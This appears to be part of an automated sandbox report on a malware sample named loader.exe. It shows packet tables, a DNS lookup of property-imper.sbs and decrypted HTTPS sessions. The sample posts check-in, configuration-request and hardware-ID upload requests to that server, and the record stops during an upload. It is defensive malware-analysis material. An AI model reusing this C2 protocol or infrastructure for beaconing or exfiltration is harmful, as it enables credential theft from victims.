Nov 23, 2024 14:09:35.653517962 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:36.965910912 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:36.966027021 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:36.967483044 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:36.967489004 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:36.967770100 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:36.969453096 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:36.969562054 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:36.969567060 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:37.672019005 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:37.672132969 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:37.672210932 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:37.672302008 CET	49735	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:37.672312975 CET	443	49735	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:38.235342979 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:38.235429049 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:38.235512972 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:38.235805035 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:38.235837936 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.553476095 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.553577900 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.555393934 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.555440903 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.556474924 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.558187008 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.559175968 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.559222937 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.559377909 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.559421062 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.559575081 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.559638023 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.559837103 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.559885979 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.560075045 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.560125113 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.560353041 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.560396910 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.560416937 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.560444117 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.560622931 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.560662031 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.560710907 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.560807943 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.560849905 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.603349924 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.603564978 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.603632927 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.603682995 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.603717089 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:39.603805065 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:39.603843927 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:41.909579992 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:41.909821033 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:41.909913063 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:41.909997940 CET	49736	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:41.910058975 CET	443	49736	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:41.956600904 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:41.956633091 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:41.956715107 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:41.957288027 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:41.957303047 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.271825075 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.271902084 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.274040937 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.274050951 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.275067091 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.276628971 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.276650906 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.276787043 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.985305071 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.985543013 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.985651970 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.985759974 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.985809088 CET	443	49738	172.67.162.84	192.168.2.4
Nov 23, 2024 14:09:43.985837936 CET	49738	443	192.168.2.4	172.67.162.84
Nov 23, 2024 14:09:43.985855103 CET	443	49738	172.67.162.84	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 14:09:24.116719007 CET	62513	53	192.168.2.4	1.1.1.1
Nov 23, 2024 14:09:24.257682085 CET	53	62513	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 14:09:24.116719007 CET	192.168.2.4	1.1.1.1	0x64ad	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 14:09:24.257682085 CET	1.1.1.1	192.168.2.4	0x64ad	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 14:09:24.257682085 CET	1.1.1.1	192.168.2.4	0x64ad	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

property-imper.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 13:09:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 13:09:26 UTC	1026	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0v69jdlj4livqv07coq7movdd9; expires=Wed, 19-Mar-2025 06:56:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U2DD6YDe%2FGroBFYO7O%2BHK04cgqUX445vVpGUdQUmmVT%2F945Q0bFBOBxnNvxP%2BbRnRqmsWj%2BXg%2FhGKBh3g%2FXsf3I%2B3ppB%2BNqulIwjft7uGIgBIx2ZKwiksUZJw66C2h31b2d2%2Fgk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7164c44e730c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1712609&cwnd=32&unsent_bytes=0&cid=d85c5b7373718b22&ts=728&x=0"
2024-11-23 13:09:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 13:09:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:27 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: property-imper.sbs
2024-11-23 13:09:27 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 30 36 37 38 33 38 38 34 37 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--5067838847&j=
2024-11-23 13:09:28 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nvd01sta0cfmkhqlfr215f9fpm; expires=Wed, 19-Mar-2025 06:56:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mb59iwJkXRtHSYwypj8%2FUOKLvBd7idQmGNIKTIaKXkIq5gwDvlqo0AtDxhMU4A9Dd%2B%2FSRftdrFFFPF91pGnAHOc7cJS8VOGrFyspBxmXTl52zjSmhPPNILWbZ0DdoHLnZuZ066c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7164d11a9c1a28-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1894&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=1576673&cwnd=138&unsent_bytes=0&cid=fac65fa60c381f80&ts=728&x=0"
2024-11-23 13:09:28 UTC	356	IN	Data Raw: 31 64 61 37 0d 0a 35 68 61 58 33 73 76 64 38 76 37 6f 72 36 49 63 70 38 68 71 55 6d 47 64 41 4a 4b 54 4b 57 68 43 34 59 65 69 76 6d 48 5a 6e 49 57 64 4e 4f 48 38 38 65 6e 65 33 4a 76 4b 67 43 62 54 75 68 38 33 54 62 39 68 39 72 45 54 44 69 4f 4e 39 4d 65 53 51 36 2f 78 70 39 78 77 39 72 4b 34 75 4e 37 63 6a 64 65 41 4a 76 79 7a 53 44 63 50 76 7a 71 77 39 6b 4d 4b 49 34 33 6c 77 39 55 4f 71 66 44 6d 6a 6e 72 77 74 71 36 2b 6c 70 2b 45 77 73 64 35 77 71 6b 41 50 41 6a 77 61 50 2b 78 42 55 6f 6e 6d 36 57 59 6e 43 79 38 36 4f 53 72 64 2b 53 31 36 61 44 65 68 63 72 4b 7a 44 36 64 36 67 73 33 41 2f 46 6d 39 76 68 42 41 43 71 46 35 4d 62 55 45 62 44 36 37 59 35 30 38 37 65 6b 74 34 4b 53 6a 73 58 4d 66 38 69 70 53 48 35 44 2b 48 71 77 71 51 74 5a 45 6f 44 30 30 Data Ascii: 1da75haX3svd8v7or6Icp8hqUmGdAJKTKWhC4YeivmHZnIWdNOH88ene3JvKgCbTuh83Tb9h9rETDiON9MeSQ6/xp9xw9rK4uN7cjdeAJvyzSDcPvzqw9kMKI43lw9UOqfDmjnrwtq6+lp+Ewsd5wqkAPAjwaP+xBUonm6WYnCy86OSrd+S16aDehcrKzD6d6gs3A/Fm9vhBACqF5MbUEbD67Y5087ekt4KSjsXMf8ipSH5D+HqwqQtZEoD00
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 43 4f 67 73 62 4c 65 39 65 68 41 54 30 4f 2f 32 2f 36 2f 6b 67 4b 4a 34 6e 76 7a 39 59 48 74 76 50 68 68 48 53 31 38 75 6d 34 69 4e 7a 53 6a 65 4e 37 31 61 30 45 4a 6b 48 46 49 75 2b 2f 55 6b 6f 6e 6a 36 57 59 6e 41 75 2b 2f 65 53 50 65 2f 61 30 6f 71 32 51 6a 6f 7a 41 78 57 7a 44 72 77 59 36 41 4f 31 6f 2f 76 64 49 41 79 75 4b 34 4d 66 59 51 2f 57 2b 34 4a 77 30 72 66 79 49 73 70 75 51 67 4e 72 41 50 74 72 6b 45 58 41 45 38 79 4b 6f 73 55 38 4c 4a 49 4c 68 7a 74 49 48 74 2f 6a 70 69 58 76 7a 74 71 6d 34 6d 70 53 43 7a 4d 31 31 79 71 6f 4e 50 51 66 35 62 76 48 30 43 30 52 67 68 50 32 41 68 45 4f 56 2b 65 53 57 4e 73 43 2f 70 37 47 58 69 73 72 53 6a 6d 65 46 72 51 52 77 57 37 39 73 39 66 35 5a 43 7a 4b 47 36 39 4c 51 42 72 33 7a 35 49 70 30 38 4c 75 6b 73 Data Ascii: COgsbLe9ehAT0O/2/6/kgKJ4nvz9YHtvPhhHS18um4iNzSjeN71a0EJkHFIu+/Ukonj6WYnAu+/eSPe/a0oq2QjozAxWzDrwY6AO1o/vdIAyuK4MfYQ/W+4Jw0rfyIspuQgNrAPtrkEXAE8yKosU8LJILhztIHt/jpiXvztqm4mpSCzM11yqoNPQf5bvH0C0RghP2AhEOV+eSWNsC/p7GXisrSjmeFrQRwW79s9f5ZCzKG69LQBr3z5Ip08Luks
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 53 6a 6d 65 46 72 51 52 77 57 37 39 75 2b 66 46 41 41 43 53 44 34 73 33 5a 41 4c 7a 39 36 6f 4e 2b 2b 37 75 74 73 35 6d 52 6a 4d 33 48 65 73 43 34 44 54 6b 50 38 79 4b 2b 73 55 77 53 59 4e 75 6c 37 39 73 56 75 4e 48 6b 6c 58 32 31 6f 2b 65 6d 30 4a 75 47 6a 5a 67 2b 77 71 38 41 4f 77 58 33 59 75 4c 30 52 51 45 68 69 65 50 42 30 51 2b 39 2f 75 61 45 63 76 6d 38 72 72 69 43 6a 6f 2f 4c 30 6e 53 46 35 45 67 33 47 37 38 36 73 4d 64 62 48 54 47 56 70 2f 58 66 44 62 58 35 38 63 52 72 75 36 58 70 75 4a 7a 63 30 6f 33 4c 66 73 6d 74 41 44 59 48 39 32 33 2f 2b 46 6b 4c 4c 49 33 33 78 39 77 4b 74 66 48 72 6a 58 6e 79 73 61 4b 31 6e 5a 69 4e 7a 49 41 77 68 61 30 51 63 46 75 2f 56 4f 44 38 52 79 51 72 6a 2b 79 41 77 30 32 69 76 75 43 49 4e 4b 33 38 72 62 4f 59 6c 6f Data Ascii: SjmeFrQRwW79u+fFAACSD4s3ZALz96oN++7uts5mRjM3HesC4DTkP8yK+sUwSYNul79sVuNHklX21o+em0JuGjZg+wq8AOwX3YuL0RQEhiePB0Q+9/uaEcvm8rriCjo/L0nSF5Eg3G786sMdbHTGVp/XfDbX58cRru6XpuJzc0o3LfsmtADYH923/+FkLLI33x9wKtfHrjXnysaK1nZiNzIAwha0QcFu/VOD8RyQrj+yAw02ivuCINK38rbOYlo
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 77 61 30 4d 4e 67 79 2f 4c 4c 44 32 55 30 70 34 77 38 72 6e 36 55 47 61 78 4b 65 62 4f 75 7a 38 72 72 50 51 78 4d 72 42 77 33 4c 4e 70 51 34 35 44 2f 56 72 2b 2f 31 41 44 69 79 4b 34 4d 62 64 42 72 37 2f 34 34 68 2b 38 37 2b 71 73 4a 2b 54 67 6f 32 4f 50 73 4b 79 53 47 68 44 32 6e 58 37 2f 30 31 4b 50 38 33 38 67 4e 73 50 2b 36 61 6e 69 48 33 7a 75 71 79 7a 6b 5a 71 43 79 4d 68 36 78 4b 77 4f 4d 77 7a 37 5a 2f 48 2b 54 77 59 75 69 65 54 42 30 41 69 30 39 65 4c 45 4f 72 57 37 73 66 2f 49 33 4c 76 4f 31 6d 6e 56 70 6b 67 76 54 65 59 69 39 2f 30 4c 55 6d 43 43 39 38 72 57 44 62 37 78 34 6f 64 37 38 72 47 76 73 35 71 56 67 73 76 50 64 39 65 70 42 44 34 45 38 57 37 2b 2f 45 45 4a 4c 63 4f 72 67 4e 73 62 2b 36 61 6e 71 48 50 34 6b 71 4b 7a 6c 39 79 56 67 39 6b Data Ascii: wa0MNgy/LLD2U0p4w8rn6UGaxKebOuz8rrPQxMrBw3LNpQ45D/Vr+/1ADiyK4MbdBr7/44h+87+qsJ+Tgo2OPsKySGhD2nX7/01KP838gNsP+6aniH3zuqyzkZqCyMh6xKwOMwz7Z/H+TwYuieTB0Ai09eLEOrW7sf/I3LvO1mnVpkgvTeYi9/0LUmCC98rWDb7x4od78rGvs5qVgsvPd9epBD4E8W7+/EEJLcOrgNsb+6anqHP4kqKzl9yVg9k
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 79 68 44 70 79 4c 47 39 6c 73 61 49 38 48 55 31 74 38 56 73 50 50 72 78 47 75 37 70 65 6d 34 6e 4e 7a 53 6a 63 5a 78 7a 4b 6b 48 4d 51 72 7a 62 2f 58 34 54 67 73 6d 68 2b 2f 4b 33 41 57 39 2f 2b 4b 4f 64 2f 53 32 6f 4c 69 59 6d 34 6e 66 67 44 43 46 72 52 42 77 57 37 39 4c 39 2b 4e 46 47 6d 43 63 71 39 6d 63 42 4c 65 2b 76 38 52 77 2f 37 4f 74 75 4a 79 61 6a 38 76 4e 66 38 71 72 43 44 38 48 39 47 76 32 38 45 59 50 4c 59 66 33 79 74 63 4d 74 2f 66 72 69 54 53 37 2f 4b 36 6e 30 4d 54 4b 2f 4d 31 77 79 36 30 65 63 42 79 78 65 37 44 32 52 30 70 34 77 2b 54 4d 30 77 43 30 2f 65 53 46 66 75 65 75 70 62 61 59 6d 59 62 47 7a 6e 6a 58 72 41 63 35 41 50 78 72 39 2f 6c 48 41 43 4f 45 70 59 36 63 42 4b 4f 2b 76 38 52 58 34 71 79 6b 2f 34 2f 53 6b 34 33 48 63 6f 58 79 Data Ascii: yhDpyLG9lsaI8HU1t8VsPPrxGu7pem4nNzSjcZxzKkHMQrzb/X4Tgsmh+/K3AW9/+KOd/S2oLiYm4nfgDCFrRBwW79L9+NFGmCcq9mcBLe+v8Rw/7OtuJyaj8vNf8qrCD8H9Gv28EYPLYf3ytcMt/friTS7/K6n0MTK/M1wy60ecByxe7D2R0p4w+TM0wC0/eSFfueupbaYmYbGznjXrAc5APxr9/lHACOEpY6cBKO+v8RX4qyk/4/Sk43HcoXy
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 70 6b 2f 2f 35 43 41 79 53 4c 35 73 44 59 42 37 7a 37 35 49 68 2f 38 72 2b 6d 75 35 6d 53 67 38 4b 41 4d 49 57 74 45 48 42 62 76 30 50 72 38 6b 63 48 59 4a 79 72 32 5a 77 45 74 37 36 2f 78 48 6a 37 75 61 6d 31 6c 70 69 50 79 38 70 37 78 61 45 4c 50 77 66 35 5a 76 2f 78 51 41 4d 68 68 65 44 4b 31 77 57 32 2f 65 47 43 4e 4c 76 38 72 71 66 51 78 4d 72 74 32 33 50 4a 72 55 67 76 54 65 59 69 39 2f 30 4c 55 6d 43 49 36 63 54 62 41 37 62 39 37 34 46 77 2f 37 6d 70 74 34 4b 55 69 73 72 53 62 4d 57 6a 44 54 77 41 2f 32 62 32 2b 45 30 4a 4a 4d 4f 72 67 4e 73 62 2b 36 61 6e 71 58 6a 79 6c 61 36 6b 30 49 50 45 31 49 42 35 79 65 70 51 63 41 4c 30 61 50 2f 38 53 41 77 6a 69 4f 44 4b 33 51 53 7a 38 2f 57 48 65 2f 71 34 71 62 43 57 6d 6f 76 43 78 6e 6e 4d 71 77 41 33 51 Data Ascii: pk//5CAySL5sDYB7z75Ih/8r+mu5mSg8KAMIWtEHBbv0Pr8kcHYJyr2ZwEt76/xHj7uam1lpiPy8p7xaELPwf5Zv/xQAMhheDK1wW2/eGCNLv8rqfQxMrt23PJrUgvTeYi9/0LUmCI6cTbA7b974Fw/7mpt4KUisrSbMWjDTwA/2b2+E0JJMOrgNsb+6anqXjyla6k0IPE1IB5yepQcAL0aP/8SAwjiODK3QSz8/WHe/q4qbCWmovCxnnMqwA3Q
2024-11-23 13:09:28 UTC	398	IN	Data Raw: 57 58 51 41 6e 6b 2b 4c 58 30 30 50 31 76 75 6a 45 4c 4d 7a 38 6f 4c 69 4c 6a 5a 7a 41 30 48 6d 46 6c 55 5a 77 47 37 38 36 73 4d 52 49 42 43 36 45 38 39 47 52 4a 4b 33 30 34 4a 52 7a 34 72 50 70 38 64 43 61 79 70 57 54 4d 49 57 75 47 58 42 62 72 7a 43 72 70 42 68 64 63 4e 48 36 6a 73 56 44 72 62 36 2f 31 6a 71 31 72 75 6e 6e 30 4e 75 4a 33 39 4a 34 78 72 77 4c 64 7a 33 42 52 65 72 38 54 52 30 78 76 64 76 48 78 67 36 39 36 66 62 49 59 66 61 79 70 37 69 47 33 4d 53 4e 7a 7a 36 64 6b 30 68 34 51 38 41 73 73 4f 6b 4c 55 6d 43 32 35 73 37 53 42 4b 33 76 71 71 4e 75 2b 4c 71 2b 72 74 44 53 79 73 75 41 4a 70 58 6b 53 44 51 53 76 7a 71 67 6f 78 42 66 63 39 53 31 6b 73 4e 4e 6f 72 37 78 78 43 79 6e 38 75 6d 74 30 4d 54 4b 69 73 4e 73 31 36 77 4c 4a 67 43 34 58 4d Data Ascii: WXQAnk+LX00P1vujELMz8oLiLjZzA0HmFlUZwG786sMRIBC6E89GRJK304JRz4rPp8dCaypWTMIWuGXBbrzCrpBhdcNH6jsVDrb6/1jq1runn0NuJ39J4xrwLdz3BRer8TR0xvdvHxg696fbIYfayp7iG3MSNzz6dk0h4Q8AssOkLUmC25s7SBK3vqqNu+Lq+rtDSysuAJpXkSDQSvzqgoxBfc9S1ksNNor7xxCyn8umt0MTKisNs16wLJgC4XM
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 32 36 63 35 0d 0a 31 76 4e 61 53 65 65 57 2f 72 4c 69 75 6f 6f 54 4b 31 48 6e 4c 72 41 68 77 54 62 39 74 73 4b 6c 79 53 6d 6a 44 32 6f 36 63 47 2f 75 6d 70 37 46 33 2b 37 4b 75 71 59 48 52 71 64 76 4e 63 63 36 72 53 48 35 44 2b 53 4b 6f 6f 51 56 4b 4a 4a 4b 6c 6d 49 78 52 34 4b 75 30 30 79 53 6e 6f 2b 65 6d 30 49 72 4b 6c 5a 49 77 68 62 68 49 61 45 4f 34 62 50 33 77 53 41 51 6a 6b 66 66 47 33 78 57 34 75 64 6d 36 56 66 69 33 70 62 4b 66 6c 37 54 7a 34 58 50 4f 70 67 55 2f 43 4d 46 63 35 66 4a 46 42 43 65 56 39 49 43 53 51 37 53 2b 76 37 30 30 76 66 79 57 38 64 43 45 79 70 57 41 53 38 61 6b 42 6a 63 56 37 69 2f 52 2f 45 41 47 4c 59 7a 75 67 4a 4a 44 76 62 36 2f 31 44 71 31 75 4c 6a 2f 79 4d 7a 59 6c 70 55 74 6b 76 70 61 4c 30 33 6d 49 75 61 78 45 31 68 75 Data Ascii: 26c51vNaSeeW/rLiuooTK1HnLrAhwTb9tsKlySmjD2o6cG/ump7F3+7KuqYHRqdvNcc6rSH5D+SKooQVKJJKlmIxR4Ku00ySno+em0IrKlZIwhbhIaEO4bP3wSAQjkffG3xW4udm6Vfi3pbKfl7Tz4XPOpgU/CMFc5fJFBCeV9ICSQ7S+v700vfyW8dCEypWAS8akBjcV7i/R/EAGLYzugJJDvb6/1Dq1uLj/yMzYlpUtkvpaL03mIuaxE1hu
2024-11-23 13:09:28 UTC	1369	IN	Data Raw: 51 36 2b 37 61 6e 75 7a 71 31 70 4f 6e 6e 30 4b 6d 4a 77 38 35 35 30 37 74 46 46 52 54 38 63 76 62 79 43 30 52 67 68 61 57 59 6a 45 33 37 2b 76 62 45 4c 4b 58 75 38 75 72 44 79 39 71 66 33 7a 44 63 36 68 35 77 57 36 30 73 73 4f 4d 4c 55 6d 44 45 35 74 4c 4f 42 62 6a 6f 35 4d 4e 4b 79 35 71 71 72 70 71 39 68 39 33 48 51 50 75 2f 43 7a 34 4e 2b 48 54 68 73 51 56 4b 4c 38 4f 39 2b 5a 78 4c 39 2f 6a 6b 6b 6a 54 4b 38 75 6d 6e 30 4d 54 4b 2b 4d 4e 77 79 36 30 65 49 55 37 5a 59 65 48 37 61 67 63 77 68 4b 57 4f 6e 41 58 37 70 72 54 4b 4e 50 47 74 36 65 66 41 7a 74 47 59 6b 79 6d 56 2b 42 64 2b 47 72 39 30 73 4b 6b 5a 52 47 43 52 70 5a 69 63 52 4c 6a 73 39 59 4a 33 34 37 2f 75 67 61 36 70 69 63 50 4f 65 64 4f 66 43 79 45 41 2f 32 6e 4f 7a 32 6f 45 4b 34 54 70 31 Data Ascii: Q6+7anuzq1pOnn0KmJw85507tFFRT8cvbyC0RghaWYjE37+vbELKXu8urDy9qf3zDc6h5wW60ssOMLUmDE5tLOBbjo5MNKy5qqrpq9h93HQPu/Cz4N+HThsQVKL8O9+ZxL9/jkkjTK8umn0MTK+MNwy60eIU7ZYeH7agcwhKWOnAX7prTKNPGt6efAztGYkymV+Bd+Gr90sKkZRGCRpZicRLjs9YJ347/uga6picPOedOfCyEA/2nOz2oEK4Tp1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:29 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=90U7KFFO0ED User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18126 Host: property-imper.sbs
2024-11-23 13:09:29 UTC	15331	OUT	Data Raw: 2d 2d 39 30 55 37 4b 46 46 4f 30 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 44 45 31 33 38 37 31 38 45 33 45 41 35 43 30 30 41 38 32 30 41 41 38 35 44 32 36 41 37 43 0d 0a 2d 2d 39 30 55 37 4b 46 46 4f 30 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 30 55 37 4b 46 46 4f 30 45 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 30 36 37 38 33 38 38 34 37 0d 0a 2d 2d 39 30 55 37 4b 46 46 4f 30 45 44 0d Data Ascii: --90U7KFFO0EDContent-Disposition: form-data; name="hwid"16DE138718E3EA5C00A820AA85D26A7C--90U7KFFO0EDContent-Disposition: form-data; name="pid"2--90U7KFFO0EDContent-Disposition: form-data; name="lid"yau6Na--5067838847--90U7KFFO0ED
